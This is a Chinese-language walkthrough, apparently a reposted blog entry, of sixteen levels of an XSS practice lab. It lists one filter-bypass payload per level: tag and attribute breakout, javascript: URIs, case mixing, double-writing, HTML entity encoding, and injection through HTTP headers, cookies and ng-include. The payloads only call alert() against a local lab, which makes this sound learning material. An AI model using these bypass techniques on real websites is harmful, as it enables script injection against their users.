zoukankan      html  css  js  c++  java
  • XSS小游戏

    第一关

    直接在URL输入

    ?name=<script>alert('xss')</script>

    第二关

    找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

    闭合前面的input标签,在插入代码

    payload

    "><script>alert('xss')</script>

     

    第三关

    依旧输入test找注入点

    输入"><script>alert('xss')</script>

    htmlspecialchars()转义成HTML实体

     但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

    我们可以从单引号测试 payload

    'onclick='window.alert()

    第四关

     尝试输入<script>alert('xss')</script>

    明显的过滤掉了 < >

    这里构造payload绕过 < >

    "onclick="window.alert('xss')

     第五关

    尝试输入<script>alert('xss')</script>

    将前面的script变成scr_ipt

    用其他语句绕过

    输入"onlick="window.alert()

    依旧替换 on变成o_n

    我们采用JavaScript伪协议

    "><a href="javascript:alert('xss')">1</a>

    点击 1 成功绕过

    第六关

    直接测试了一下,过滤了很多,查看源码

     

    我们可以采用大小写混合拼写绕过

    "><img Src=x Onerror=alert(1)>

    第七关

    测试了一下,script跟on等直接没了

    推测被替换成空,查看源码

    果不其然,替换为空,一般采用双写绕过

    "><scrscriptipt>alert('xss')</scrscriptipt>

     第八关

    输入tes

    查看源码,过滤了很多,双引号也被过滤掉了

     

    这里我们只要输入JavaScript:alert(‘xss’)即可

    但是script被替换成scr_ipt

    我们可以采用编码的形式绕过

    payload

    javascri&#x70;t:alert() #HTML实体编码(HEX) 
    javascri&#112;t:alert()   #HTML实体编码(DEC) 

    这是实体编码 entity code

    「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

    第九关

    输入test测试一下,test出现在value值里面

     

    查看源码,比之前多了一串,需要添加http://,否则无效

    那么就添加http://

    /*这是是注释*/

    构造payload

    javascri&#x70;t:alert()/*http://www.test.com*/

     第十关

    分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

    构造payload

    ?t_sort="onclick="alert()"type="text"

    ?t_sort=" onclick="alert()" type="text"

    第十一关

    可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

    payload

    t_sort="type="text" onclick="alert(1)

     

     第十二关

     

    这里是HTTP头中的Uuser-agent进行注入

    构造payload

    "type="text" onclick="alert(1)

    在User-Agent后面跟随payload即可

    第十三关

    cookie注入

    user=" type="text" onclick="alert(1)"

    第十四关

    PASS

    第十五关

    ng-include 指令用于包含外部的 HTML 文件

    ng-include 属性的值可以是一个表达式,返回一个文件名。

    payload

    http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

    第十六关

    转义成HTML实体,黑名单容易忽略过滤的字符

    payload

    ?keyword=<img%0asrc=1%0aonerror=alert()>
    %0a %0b %0c %0d (回车换行) 空格绕过




     
  • 相关阅读:
    WebService之Axis2 (3):使用services.xml文件发布WebService
    WebService之Axis2(2):复合类型数据的传递
    WebService之Axis2(1):用POJO实现0配置的WebService
    com.mchange.v2.c3p0.impl.NewPooledConnection@be1839d closed by a client的正确解答
    拿到新服务器时应做的标准测试
    rabbitmq heartbeat missing with heartbeat = N seconds原因总结
    从技术专家到管理者的思路转变(V1)
    netty集成ssl完整参考指南(含完整源码)
    技术晋升的评定与博弈(转)
    Eureka-zookeeper的服务发现替代方案
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11396644.html
Copyright © 2011-2022 走看看